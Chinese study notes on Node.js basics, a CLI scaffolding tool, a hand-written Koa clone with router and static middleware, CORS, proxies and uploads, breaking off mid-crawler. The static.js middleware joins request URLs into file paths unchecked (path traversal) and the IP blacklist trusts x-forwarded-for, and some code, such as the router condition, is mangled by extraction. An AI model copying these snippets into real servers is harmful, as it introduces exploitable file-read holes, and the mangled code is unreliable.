# node 学习笔记

# Node.js 基础

# 异步非阻塞 I/O

同步/异步,关注的是能不能同时工作

阻塞/非阻塞,关注的是能不能动

  • 同步阻塞:不能同时工作,也不能动。比如只有一条小道,一次只能过一辆车,可悲的是都堵上了。
  • 同步非阻塞,不能同时开工,但可以动。比如只有一条小道,一次只能过一辆车,幸运的是可以正常通行。
  • 异步阻塞,可以同时开工,但不可以动。有多条路,每条路都可以跑车,可气的是全都堵上了。
  • 异步非阻塞,可以工时开工,也可以动。有多条路,每条路都可以跑车,很爽的是全都可以正常通行。
// 03-fs.js
const fs = require('fs')

// 同步调用
const data = fs.readFileSync('./conf.js') //代码会阻塞在这里
console.log(data)

// 异步调用
fs.readFile('./conf.js', (err, data) => {
  if (err) throw err
  console.log(data)
})

// promisify
const { promisify } = require('util')
const readFile = promisify(fs.readFile)
readFile('./conf.js').then((data) => console.log(data))

// fs Promises API node v10
const fsp = require('fs').promises
fsp
  .readFile('./confs.js')
  .then((data) => console.log(data))
  .catch((err) => console.log(err))

// async/await
;(async () => {
  const fs = require('fs')
  const { promisify } = require('util')
  const readFile = promisify(fs.readFile)
  const data = await readFile('./index.html')
  console.log('data', data)
})()

// 引用方式
Buffer.from(data).toString('utf-8')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

# Buffer 缓冲区

读取数据类型为 Buffer

Buffer - 用于在 TCP 流、文件系统操作、以及其他上下文中与八位字节流进行交互。八位字节组成的数组,可以有效的在 JS 中存储二进制数据

// 04-buffer.js
// 创建一个长度为10字节以0填充的Buffer
const buf1 = Buffer.alloc(10)
console.log(buf1)

// 创建一个Buffer包含ascii.
// ascii 查询 http://ascii.911cha.com/
const buf2 = Buffer.from('a')
console.log(buf2, buf2.toString())

// 创建Buffer包含UTF-8字节
// UFT-8:一种变长的编码方案,使用 1~6 个字节来存储;
// UFT-32:一种固定长度的编码方案,不管字符编号大小,始终使用 4 个字节来存储;
// UTF-16:介于 UTF-8 和 UTF-32 之间,使用 2 个或者 4 个字节来存储,长度既固定又可变。
const buf3 = Buffer.from('Buffer创建方法')
console.log(buf3)

// 写入Buffer数据
buf1.write('hello')
console.log(buf1)

// 读取Buffer数据
console.log(buf3.toString())

// 合并Buffer
const buf4 = Buffer.concat([buf1, buf3])

console.log(buf4.toString())

// 可以尝试修改fs案例输出文件原始内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

Buffer 类似数组,所以很多数组方法它都有

GBK 转码 iconv-lite

# http 服务

创建一个 http 服务器,05-http.js

const http = require('http');
const server = http.createServer((request, response) => {
    console.log('there is a request');
    response.end('a response from server');
});
server.listen(3000);



// 打印原型链
function getPrototypeChain(obj) {
    var protoChain = [];
    while (obj = Object.getPrototypeOf(obj)) {//返回给定对象的原型。如果没有继承属
        性,则返回 null 。

        protoChain.push(obj);
    }
    protoChain.push(null);
    return protoChain;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

显示一个首页

const { url, method } = request
if (url === '/' && method === 'GET') {
  fs.readFile('index.html', (err, data) => {
    if (err) {
      response.writeHead(500, { 'Content-Type': 'text/plain;charset=utf-8' })
      response.end('500,服务器错误')
      return
    }
    response.statusCode = 200
    response.setHeader('Content-Type', 'text/html')
    response.end(data)
  })
} else {
  response.statusCode = 404
  response.setHeader('Content-Type', 'text/plain;charset=utf-8')
  response.end('404, 页面没有找到')
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

编写一个接口

else if (url === '/users' && method === 'GET') {
    response.writeHead(200, { 'Content-Type': 'application/json' });
    response.end(JSON.stringify([{name:'tom',age:20}]));
}
1
2
3
4

# Stream 流

stream - 是用于与 node 中流数据交互的接口

//二进制友好,图片操作,06-stream.js
const fs = require('fs')
const rs2 = fs.createReadStream('./01.jpg')
const ws2 = fs.createWriteStream('./02.jpg')
rs2.pipe(ws2);

//响应图片请求,05-http.js
const {url, method, headers} = request;

else if (method === 'GET' && headers.accept.indexOf('image/*') !== -1) {
    fs.createReadStream('.'+url).pipe(response);
}
1
2
3
4
5
6
7
8
9
10
11
12

Accept 代表发送端(客户端)希望接受的数据类型。 比如:Accept:text/xml; 代表客户端希望接受的数据类型是 xml 类型。

Content-Type 代表发送端(客户端|服务器)发送的实体数据的数据类型。 比如:Content-Type:text/html; 代表发送端发送的数据格式是 html。

二者合起来, Accept:text/xml; Content-Type:text/html ,即代表希望接受的数据类型是 xml 格式,本次请求发送的数据的数据格式是 html。

# CLI 工具

# 创建工程

mkdir vue-auto-router-cli
cd vue-auto-router-cli
npm init -y
npm i commander download-git-repo ora handlebars figlet clear chalk open -s
1
2
3
4

创建 bin/wzp.js

// 指定脚本解释器为node
#!/usr/bin/env node
console.log('cli.....')
1
2
3

在 package.json 文件中

"bin": {
    "wzp": "./bin/wzp.js"
},
1
2
3

将 npm 模块链接到对应的运行项目中去

npm link
1

# 删除的情况

ls /usr/local/bin/
rm /usr/local/bin/wzp
1
2

# 定制命令行界面

wzp.js 文件

#!/usr/bin/env node
const program = require('commander')
program.version(require('../package').version)

program
  .command('init <name>')
  .description('init project')
  .action((name) => {
    console.log('init ' + name)
  })

program.parse(process.argv)
1
2
3
4
5
6
7
8
9
10
11
12

# 打印欢迎界面

/lib/init.js

const { promisify } = require('util')
const figlet = promisify(require('figlet'))
const clear = require('clear')
const chalk = require('chalk')
const log = (content) => console.log(chalk.green(content))
module.exports = async (name) => {
  // 打印欢迎画面
  clear()
  const data = await figlet('WZP Welcome')
  log(data)
}
1
2
3
4
5
6
7
8
9
10
11
// bin/wzp.js
program
  .command('init <name>')
  .description('init project')
  .action(require('../lib/init'))
1
2
3
4
5

# 克隆脚手架

/lib/download.js

const { promisify } = require('util')
module.exports.clone = async function(repo, desc) {
  const download = promisify(require('download-git-repo'))
  const ora = require('ora')
  const process = ora(`下载.....${repo}`)
  process.start()
  await download(repo, desc)
  process.succeed()
}
1
2
3
4
5
6
7
8
9

/lib/init.js

const { clone } = require('./download')
module.exports.init = async (name) => {
  // console.log('init ' + name)
  log('创建项目:' + name)
  // 从github克隆项目到指定文件夹
  await clone('github:su37josephxia/vue-template', name)
}
1
2
3
4
5
6
7

# 安装依赖

// promisiy化spawn
// 对接输出流
const spawn = async (...args) => {
  const { spawn } = require('child_process')
  return new Promise((resolve) => {
    const proc = spawn(...args)
    proc.stdout.pipe(process.stdout)
    proc.stderr.pipe(process.stderr)
    proc.on('close', () => {
      resolve()
    })
  })
}

module.exports.init = async (name) => {
  // ....
  log('安装依赖')
  await spawn('cnpm', ['install'], { cwd: `./${name}` })
  log(
    chalk.green(`
                    安装完成:
                    To get Start:
                    ===========================
                    cd ${name}
                    npm run serve
                    ===========================

                    `)
  )
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

# 启动项目

const open = require('open')
module.exports.init = async (name) => {
  // ...
  // 打开浏览器
  open(`http://localhost:8080`)
  await spawn('npm', ['run', 'serve'], { cwd: `./${name}` })
}
1
2
3
4
5
6
7

# 约定路由功能

  • loader 文件扫描
  • 代码模板渲染 hbs Mustache 风格模板

/lib/refresh.js

const fs = require('fs')
const handlebars = require('handlebars')
const chalk = require('chalk')
module.exports = async () => {
  // 获取页面列表
  const list = fs
    .readdirSync('./src/views')
    .filter((v) => v !== 'Home.vue')
    .map((v) => ({
      name: v.replace('.vue', '').toLowerCase(),
      file: v
    }))

  // 生成路由定义
  compile(
    {
      list
    },
    './src/router.js',
    './template/router.js.hbs'
  )

  // 生成菜单
  compile(
    {
      list
    },
    './src/App.vue',
    './template/App.vue.hbs'
  )

  /**
   * 编译模板文件
   * @param meta 数据定义
   * @param filePath 目标文件路径
   * @param templatePath 模板文件路径
   */
  function compile(meta, filePath, templatePath) {
    if (fs.existsSync(templatePath)) {
      const content = fs.readFileSync(templatePath).toString()
      const result = handlebars.compile(content)(meta)
      fs.writeFileSync(filePath, result)
    }
    console.log(chalk.green(`${filePath} 创建成功`))
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

/bin/wzp

program
  .command('refresh')
  .description('refresh routers...')
  .action(require('../lib/refresh'))
1
2
3
4

# 发布 npm

#!/usr/bin/env bash
npm config get registry # 检查仓库镜像库
npm config set registry=http://registry.npmjs.org
echo '请进行登录相关操作:'
npm login # 登陆
echo "-------publishing-------"
npm publish # 发布
npm config set registry=https://registry.npm.taobao.org # 设置为淘宝镜像
echo "发布完成"
exit
1
2
3
4
5
6
7
8
9
10

# Koa2 源码解读

# koa

概述:Koa (opens new window) 是一个新的 web 框架, 致力于成为 web 应用和 API 开发领域中的一个更小、更富有表现力、更健壮的基石。

koa 是 Express 的下一代基于 Node.js 的 web 框架

koa2 完全使用 Promise 并配合 async 来实现异步

特点:

  • 轻量,无捆绑
  • 中间件架构
  • 优雅的 API 设计
  • 增强的错误处理

安装: npm i koa -S

# 中间件机制、请求、响应处理

const Koa = require('koa')
const app = new Koa()
app.use((ctx, next) => {
  ctx.body = [
    {
      name: 'tom'
    }
  ]
  next()
})

app.use((ctx, next) => {
  // 同步 sleep
  const expire = Date.now() + 100
  while (Date.now() < expire)
    // ctx.body && ctx.body.push(
    // {
    // name:'jerry'
    // }
    // )
    console.log('url' + ctx.url)
  if (ctx.url === '/html') {
    ctx.type = 'text/html;charset=utf-8'
    ctx.body = `<b>我的名字是:${ctx.body[0].name}</b>`
  }
})

app.listen(3000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// 搞个小路由
const router = {}
router['/html'] = (ctx) => {
  ctx.type = 'text/html;charset=utf-8'
  ctx.body = `<b>我的名字是:${ctx.body[0].name}</b>`
}

const fun = router[ctx.url]
fun && fun(ctx)
1
2
3
4
5
6
7
8
9

Koa 中间件机制:Koa 中间件机制就是函数式 组合概念 Compose 的概念,将一组需要顺序执行的函数复合为一个函数,外层函数的参数实际是内层函数的返回值。洋葱圈模型可以形象表示这种机制,是源码 (opens new window)中的精髓和难点。

image-20210921214223968

# 常见的中间件操作

  • 静态服务
app.use(require('koa-static')(\_\_\_\_\_\_dirname + '/'))
1
  • 路由
const router = require('koa-router')()
router.get('/string', async (ctx, next) => {
  ctx.body = 'koa2 string'
})
router.get('/json', async (ctx, next) => {
  ctx.body = {
    title: 'koa2 json'
  }
})
app.use(router.routes())
1
2
3
4
5
6
7
8
9
10
  • 日志
app.use(async (ctx, next) => {
  const start = Date.now()
  await next()
  const end = Date.now()

  console.log(`请求${ctx.url} 耗时${parseInt(end - start)}ms`)
})
app.use(async (ctx, next) => {
  const expire = Date.now() + 102
  while (Date.now() < expire)
    ctx.body = [
      {
        name: 'tom'
      }
    ]
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

# koa 原理

一个基于 nodejs 的入门级 http 服务,类似下面代码:

const http = require('http')
const server = http.createServer((req, res) => {
  res.writeHead(200)
  res.end('hi pipipapa')
})

server.listen(3000, () => {
  console.log('监听端口 3000')
})
1
2
3
4
5
6
7
8
9

image-20210921214520049

koa 的目标是用更简单化、流程化、模块化的方式实现回调部分

// 创建 wzp.js
const http = require('http')

class WZP {
  listen(...args) {
    const server = http.createServer((req, res) => {
      this.callback(req, res)
    })
    server.listen(...args)
  }
  use(callback) {
    this.callback = callback
  }
}
module.exports = WZP

// 调用,index.js
const WZP = require('./wzp')
const app = new WZP()

app.use((req, res) => {
  res.writeHead(200)
  res.end('hi pipipapa')
})

app.listen(3000, () => {
  console.log('监听端口 3000')
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

目前为止,WZP 只是个马甲,要真正实现目标还需要引入上下文(context)和中间件机制(middleware)

# context

koa 为了能够简化 API,引入上下文 context 概念,将原始请求对象 req 和响应对象 res 封装并挂载到 context 上,并且在 context 上设置 getter 和 setter,从而简化操作。

使用方法,接近 koa 了

// app.js
app.use((ctx) => {
  ctx.body = 'hehe'
})
1
2
3
4

image-20210921214637252

  • 知识储备:getter/setter 方法
// 测试代码,test-getter-setter.js

const pipipapa = {
  info: { name: 'wzp', desc: '真不错' },
  get name() {
    return this.info.name
  },
  set name(val) {
    console.log('new name is' + val)
    this.info.name = val
  }
}
console.log(pipipapa.name)
pipipapa.name = 'pipipapa'
console.log(pipipapa.name)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
  • 封装 request、response 和 context

https://github.com/koajs/koa/blob/master/lib/response.js

// request.js
module.exports = {
  get url() {
    return this.req.url
  },

  get method() {
    return this.req.method.toLowerCase()
  }
}

// response.js
module.exports = {
  get body() {
    return this.\_body
  },
  set body(val) {
    this.\_body = val
  }
}

// context.js
module.exports = {
  get url() {
    return this.request.url
  },
  get body() {
    return this.response.body
  },
  set body(val) {
    this.response.body = val
  },
  get method() {
    return this.request.method
  }
}

// wzp.js
// 导入这三个类
const context = require('./context')
const request = require('./request')
const response = require('./response')

class WZP {
  listen(...args) {
    const server = http.createServer((req, res) => {
      // 创建上下文
      let ctx = this.createContext(req, res)

      this.callback(ctx)
      // 响应
      res.end(ctx.body)
    })
    // ...
  }
  // 构建上下文, 把 res 和 req 都挂载到 ctx 之上,并且在 ctx.req 和 ctx.request.req 同时保存
  createContext(req, res) {
    const ctx = Object.create(context)
    ctx.request = Object.create(request)
    ctx.response = Object.create(response)

    ctx.req = ctx.request.req = req
    ctx.res = ctx.response.res = res
    return ctx
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66

# 中间件

Koa 中间件机制:Koa 中间件机制就是函数式 组合概念 Compose 的概念,将一组需要顺序执行的函数复合为一个函数,外层函数的参数实际是内层函数的返回值。洋葱圈模型可以形象表示这种机制,是源码中的精髓和难点。

image-20210921214850497

  • 知识储备:函数组合
const add = (x, y) => x + y
const square = z => z \* z
const fn = (x, y) => square(add(x, y))
console.log(fn(1, 2))
1
2
3
4

上面就算是两次函数组合调用,我们可以把他合并成一个函数

const compose = (fn1, fn2) => (...args) => fn2(fn1(...args))
const fn = compose(add, square)
1
2

多个函数组合:中间件的数目是不固定的,我们可以用数组来模拟

const compose = (...[first, ...other]) => (...args) => {
  let ret = first(...args)
  other.forEach((fn) => {
    ret = fn(ret)
  })
  return ret
}
const fn = compose(add, square)
console.log(fn(1, 2))
1
2
3
4
5
6
7
8
9

异步中间件:上面的函数都是同步的,挨个遍历执行即可,如果是异步的函数呢,是一个 promise,我们要支持 async + await 的中间件,所以我们要等异步结束后,再执行下一个中间件。

function compose(middlewares) {
  return function() {
    return dispatch(0)
    // 执行第 0 个
    function dispatch(i) {
      let fn = middlewares[i]
      if (!fn) {
        return Promise.resolve()
      }
      return Promise.resolve(
        fn(function next() {
          // promise 完成后,再执行下一个
          return dispatch(i + 1)
        })
      )
    }
  }
}

async function fn1(next) {
  console.log('fn1')
  await next()
  console.log('end fn1')
}

async function fn2(next) {
  console.log('fn2')
  await delay()
  await next()
  console.log('end fn2')
}

function fn3(next) {
  console.log('fn3')
}

function delay() {
  return new Promise((reslove, reject) => {
    setTimeout(() => {
      reslove()
    }, 2000)
  })
}

const middlewares = [fn1, fn2, fn3]
const finalFn = compose(middlewares)
finalFn()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

image-20210921215003587

compose 用在 koa 中,wzp.js

const http = require('http')
const context = require('./context')
const request = require('./request')
const response = require('./response')

class WZP {
  // 初始化中间件数组
  constructor() {
    this.middlewares = []
  }
  listen(...args) {
    const server = http.createServer(async (req, res) => {
      const ctx = this.createContext(req, res)
      // 中间件合成
      const fn = this.compose(this.middlewares)
      // 执行合成函数并传入上下文
      await fn(ctx)
      res.end(ctx.body)
    })
    server.listen(...args)
  }
  use(middleware) {
    // 将中间件加到数组里
    this.middlewares.push(middleware)
  }
  // 合成函数
  compose(middlewares) {
    return function(ctx) {
      // 传入上下文
      return dispatch(0)
      function dispatch(i) {
        let fn = middlewares[i]
        if (!fn) {
          return Promise.resolve()
        }
        return Promise.resolve(
          fn(ctx, function next() {
            // 将上下文传入中间件,mid(ctx,next)
            return dispatch(i + 1)
          })
        )
      }
    }
  }
  createContext(req, res) {
    let ctx = Object.create(context)
    ctx.request = Object.create(request)
    ctx.response = Object.create(response)

    ctx.req = ctx.request.req = req
    ctx.res = ctx.response.res = res
    return ctx
  }
}
module.exports = WZP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

使用,app.js

const delay = () => new Promise((resolve) => setTimeout(() => resolve(), 2000))

app.use(async (ctx, next) => {
  ctx.body = '1'
  await next()
  ctx.body += '5'
})

app.use(async (ctx, next) => {
  ctx.body += '2'
  await delay()
  await next()
  ctx.body += '4'
})

app.use(async (ctx, next) => {
  ctx.body += '3'
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

image-20210921215054729

koa-compose 的源码 (opens new window)

兼顾 OOP 和 AOP

函数编程 函数即逻辑 (React 函数即组件 组件即页面)

看一下 Express

# 常见 koa 中间件的实现

  • koa 中间件的规范:
    • 一个 async 函数
    • 接收 ctx 和 next 两个参数
    • 任务结束需要执行 next
const mid = async (ctx, next) => {
  // 来到中间件,洋葱圈左边
  next() // 进入其他中间件
  // 再次来到中间件,洋葱圈右边
}
1
2
3
4
5
  • 中间件常见任务:

    • 请求拦截
    • 路由
    • 日志
    • 静态文件服务
  • 路由 router

    将来可能的用法

const Koa = require('./wzp')
const Router = require('./router')
const app = new Koa()
const router = new Router()

router.get('/index', async (ctx) => {
  ctx.body = 'index page'
})
router.get('/post', async (ctx) => {
  ctx.body = 'post page'
})
router.get('/list', async (ctx) => {
  ctx.body = 'list page'
})
router.post('/index', async (ctx) => {
  ctx.body = 'post page'
})

// 路由实例输出父中间件 router.routes()
app.use(router.routes())
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

routes()的返回值是一个中间件,由于需要用到 method,所以需要挂载 method 到 ctx 之上,修改 request.js

image-20210921215716909

// request.js
module.exports = {
  // add...
  get method() {
    return this.req.method.toLowerCase()
  }
}
1
2
3
4
5
6
7
// context.js
module.exports = {
  // add...
  get method() {
    return this.request.method
  }
}
1
2
3
4
5
6
7
class Router {
    constructor() {
        this.stack = [];
    }

    register(path, methods, middleware) {
        let route = {path, methods, middleware}
        this.stack.push(route);
    }
    // 现在只支持 get 和 post,其他的同理
    get(path,middleware){
        this.register(path, 'get', middleware);
    }
    post(path,middleware){
        this.register(path, 'post', middleware);
    }
    routes() {
        let stock = this.stack;

        return async function(ctx, next) {
            let currentPath = ctx.url;
            let route;

            for (let i = 0; i < stock.length; i++) {
                let item = stock[i];
                if (currentPath === item.path && item.methods.indexOf(ctx.method) >=

                    0. {
                    // 判断 path 和 method
                    route = item.middleware;
                    break;
                    }
            }

            if (typeof route === 'function') {
                route(ctx, next);
                return;
            }

            await next();
        };
    }
}
module.exports = Router;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

使用

const Koa = require('./wzp')
const Router = require('./router')
const app = new Koa()
const router = new Router()

router.get('/index', async (ctx) => {
  console.log('index,xx')
  ctx.body = 'index page'
})
router.get('/post', async (ctx) => {
  ctx.body = 'post page'
})
router.get('/list', async (ctx) => {
  ctx.body = 'list page'
})

router.post('/index', async (ctx) => {
  ctx.body = 'post page'
})

// 路由实例输出父中间件 router.routes()
app.use(router.routes())

app.listen(3000, () => {
  console.log('server runing on port 9092')
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
  • 静态文件服务 koa-static
    • 配置绝对资源目录地址,默认为 static
    • 获取文件或者目录信息
    • 静态文件读取
    • 返回
// static.js
const fs = require('fs')
const path = require('path')

module.exports = (dirPath = './public') => {
  return async (ctx, next) => {
    if (ctx.url.indexOf('/public') === 0) {
      // public 开头 读取文件
      const url = path.resolve(\_\_\_\_\_\_dirname, dirPath)
      const fileBaseName = path.basename(url)
      const filepath = url + ctx.url.replace('/public', '')
      console.log(filepath)
      // console.log(ctx.url,url, filepath, fileBaseName)
      try {
        stats = fs.statSync(filepath)
        if (stats.isDirectory()) {
          const dir = fs.readdirSync(filepath)
          // const
          const ret = ['<div style="padding-left:20px">']
          dir.forEach((filename) => {
            console.log(filename)
            // 简单认为不带小数点的格式,就是文件夹,实际应该用 statSync
            if (filename.indexOf('.') > -1) {
              ret.push(
                `<p><a style="color:black" href="${ctx.url}/${filename}">${filename}</a></p>`
              )
            } else {
              // 文件
              ret.push(
                `<p><a href="${ctx.url}/${filename}">${filename}</a></p>`
              )
            }
          })
          ret.push('</div>')
          ctx.body = ret.join('')
        } else {
          console.log('文件')

          const content = fs.readFileSync(filepath)
          ctx.body = content
        }
      } catch (e) {
        // 报错了 文件不存在
        ctx.body = '404, not found'
      }
    } else {
      // 否则不是静态资源,直接去下一个中间件
      await next()
    }
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// 使用
const static = require('./static')
app.use(static(\_\_\_\_\_\_dirname + '/public'))
1
2
3

请求拦截:黑名单中存在的 ip 访问将被拒绝

// iptable.js
module.exports = async function(ctx, next) {
  const { res, req } = ctx
  const blackList = ['127.0.0.1']
  const ip = getClientIP(req)

  if (blackList.includes(ip)) {
    //出现在黑名单中将被拒绝
    ctx.body = 'not allowed'
  } else {
    await next()
  }
}
function getClientIP(req) {
  return (
    req.headers['x-forwarded-for'] || // 判断是否有反向代理 IP
    req.connection.remoteAddress || // 判断 connection 的远程 IP
    req.socket.remoteAddress || // 判断后端的 socket 的 IP
    req.connection.socket.remoteAddress
  )
}

// app.js
app.use(require('./interceptor'))
app.listen(3000, '0.0.0.0', () => {
  console.log('监听端口 3000')
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

请求拦截应用非常广泛:登录状态验证、CORS 头设置等。

# 扩展内容

Object.create 的理解

https://juejin.im/post/5dd20cb3f265da0bf66b6670

中间件扩展学习

https://juejin.im/post/5dbf9bdaf265da4d25054f91

策略模式:

https://github.com/su37josephxia/frontend-basic/tree/master/src/strategy

中间件对比

https://github.com/nanjixiong218/analys-middlewares/tree/master/src

责任链模式

https://blog.csdn.net/liuwenzhe2008/article/details/70199520

思维导图 https://www.processon.com/view/link/5d4b852ee4b07c4cf3069fec#map

# ⽹络编程 http https http2 websocket

# HTTP 协议

// 观察 HTTP 协议
curl -v http://www.baidu.com
1
2

http 协议详解 (opens new window)

  • 创建接⼝,api.js
// /http/api.js
const http = require('http')
const fs = require('fs')

http
  .createServer((req, res) => {
    const { method, url } = req
    if (method == 'GET' && url == '/') {
      fs.readFile('./index.html', (err, data) => {
        res.setHeader('Content-Type', 'text/html')
        res.end(data)
      })
    } else if (method == 'GET' && url == '/api/users') {
      res.setHeader('Content-Type', 'application/json')
      res.end(JSON.stringify([{ name: 'tom', age: 20 }]))
    }
  })
  .listen(3000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
  • 请求接⼝
// index.html

<script src="https://unpkg.com/axios/dist/axios.min.js"></script>
<script>
    (async () => {
    const res = await axios.get("/api/users")
    console.log('data',res.data)
    document.writeln(`Response : ${JSON.stringify(res.data)}`)
})()
</script>
1
2
3
4
5
6
7
8
9
10
  • 埋点更容易
const img = new Image()
img.src = '/api/users?abc=123'
1
2

# 跨域

浏览器同源策略引起的接⼝调⽤问题

// proxy.js
const express = require('express')
const app = express()
app.use(express.static(\_\_\_\_\_\_dirname + '/'))
module.exports = app
1
2
3
4
5
// index.js
const api = require('./api')
const proxy = require('./proxy')
api.listen(4000)
proxy.listen(3000)
1
2
3
4
5
// 或者通过 baseURL ⽅式
axios.defaults.baseURL = 'http://localhost:4000'
1
2

浏览器抛出跨域错误

image-20210921220327997

# 常⽤解决⽅案

# JSONP(JSON with Padding)

前端+后端⽅案,绕过跨域

前端构造 script 标签请求指定 URL(由 script 标签发出的 GET 请求不受同源策略限制),服务器返回⼀个函数执⾏语句,该函数名称通常由查询参 callback 的值决定,函数的参数为服务器返回的 json 数据。该函数在前端执⾏后即可获取数据。

# 代理服务器

请求同源服务器,通过该服务器转发请求⾄⽬标服务器,得到结果再转发给前端。

前端开发中测试服务器的代理功能就是采⽤的该解决⽅案,但是最终发布上线时如果 web 应⽤和接⼝服务器不在⼀起仍会跨域。

# CORS(Cross Origin Resource Share)

跨域资源共享,后端⽅案,解决跨域

预检请求

原理:cors 是 w3c 规范,真正意义上解决跨域问题。它需要服务器对请求进⾏检查并对响应头做相应处理,从⽽允许跨域请求。

具体实现:

  • 响应简单请求: 动词为 get/post/head,没有⾃定义请求头,Content-Type 是 application/x-www-form-urlencoded,multipart/form-data 或 text/plain 之⼀,通过添加以下响应头解决:
res.setHeader('Access-Control-Allow-Origin', 'http://localhost:3000')
1

该案例中可以通过添加⾃定义的 x-token 请求头使请求变为 preflight 请求

// index.html
axios.defaults.baseURL = 'http://localhost:3000'
axios.get('/users', { headers: { 'X-Token': 'jilei' } })
1
2
3
  • 响应 preflight 请求,需要响应浏览器发出的 options 请求(预检请求),并根据情况设置响应头:
else if (method == "OPTIONS" && url == "/api/users") {
    res.writeHead(200, {
        "Access-Control-Allow-Origin": "http://localhost:3000",
        "Access-Control-Allow-Headers": "X-Token,Content-Type",
        "Access-Control-Allow-Methods": "PUT"
    });
    res.end();
}
1
2
3
4
5
6
7
8

则服务器需要允许 x-token,若请求为 post,还传递了参数,则服务器还需要允许 content-type 请求头

// index.html
axios.post("http://localhost:3000/users", {foo:'bar'}, {headers:{'X-Token':'jilei'}})

// http-server.js
else if ((method == "GET" || method == "POST") && url == "/users") {}
1
2
3
4
5

如果要携带 cookie 信息,则请求变为 credential 请求: ​

// index.js
// 预检 options 中和/users 接⼝中均需添加
res.setHeader('Access-Control-Allow-Credentials', 'true')
// 设置 cookie
res.setHeader('Set-Cookie', 'cookie1=va222;')

// index.html
// 观察 cookie 存在
console.log('cookie', req.headers.cookie)
// ajax 服务
axios.defaults.withCredentials = true
1
2
3
4
5
6
7
8
9
10
11

# Proxy 代理模式

var express = require('express')
const proxy = require('http-proxy-middleware')

const app = express()
app.use(express.static(\_\_\_\_\_\_dirname + '/'))
app.use('/api', proxy({ target: 'http://localhost:4000', changeOrigin: false }))
module.exports = app
1
2
3
4
5
6
7

对⽐⼀下 nginx 与 webpack devserver

// vue.config.js
module.exports = {
  devServer: {
    disableHostCheck: true,
    compress: true,
    port: 5000,
    proxy: {
      '/api/': {
        target: 'http://localhost:4000',
        changeOrigin: true
      }
    }
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14

# nginx

server {
    listen 80;

    # server_name www.josephxia.com;

    location / {
        root /var/www/html;
        index index.html index.htm;
        try_files $uri $uri/ /index.html;
    }

    location /api {
        proxy_pass http://127.0.0.1:3000;
        proxy_redirect off;
        proxy_set_header Host $host;
        proxy_set_header   X-Real-IP        $remote_addr;
        proxy_set_header X-Forwarded-For \$proxy_add_x_forwarded_for;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

# Bodyparser

# application/x-www-form-urlencoded

<form action="/api/save" method="post">
  <input type="text" name="abc" value="123" />
  <input type="submit" value="save" />
</form>
1
2
3
4
// api.js
else if (method === "POST" && url === "/api/save") {
    let reqData = [];
    let size = 0;
    req.on('data', data => {
        console.log('>>>req on', data);
        reqData.push(data);
        size += data.length;
    });
    req.on('end', function () {
        console.log('end')
        const data = Buffer.concat(reqData, size);
        console.log('data:', size, data.toString())
        res.end(`formdata:${data.toString()}`)
    });
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

# application/json

await axios.post('/api/save', {
  a: 1,
  b: 2
})
1
2
3
4
// 模拟 application/x-www-form-urlencoded
await axios.post('/api/save', 'a=1&b=3', {
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded'
  }
})
1
2
3
4
5
6

# 上传⽂件

// Stream pipe
request.pipe(fis)
response.end()
1
2
3
// Buffer connect
request.on('data', (data) => {
  chunk.push(data)
  size += data.length
  console.log('data:', data, size)
})
request.on('end', () => {
  console.log('end...')
  const buffer = Buffer.concat(chunk, size)
  size = 0
  fs.writeFileSync(outputFile, buffer)
  response.end()
})
1
2
3
4
5
6
7
8
9
10
11
12
13
// 流事件写⼊
request.on('data', (data) => {
  console.log('data:', data)
  fis.write(data)
})
request.on('end', () => {
  fis.end()
  response.end()
})
1
2
3
4
5
6
7
8
9

# 实战⼀个爬⾍

原理:服务端模拟客户端发送请求到⽬标服务器获取⻚⾯内容并解析,获取其中关注部分的数据。

// spider.js
const originRequest = require('request')
const cheerio = require('cheerio')
const iconv = require('iconv-lite')

function request(url, callback) {
  const options = {
    url: url,
    encoding: null
  }
  originRequest(url, options, callback)
}

for (let i = 100553; i < 100563; i++) {
  const url = `https://www.dy2018.com/i/${i}.html`
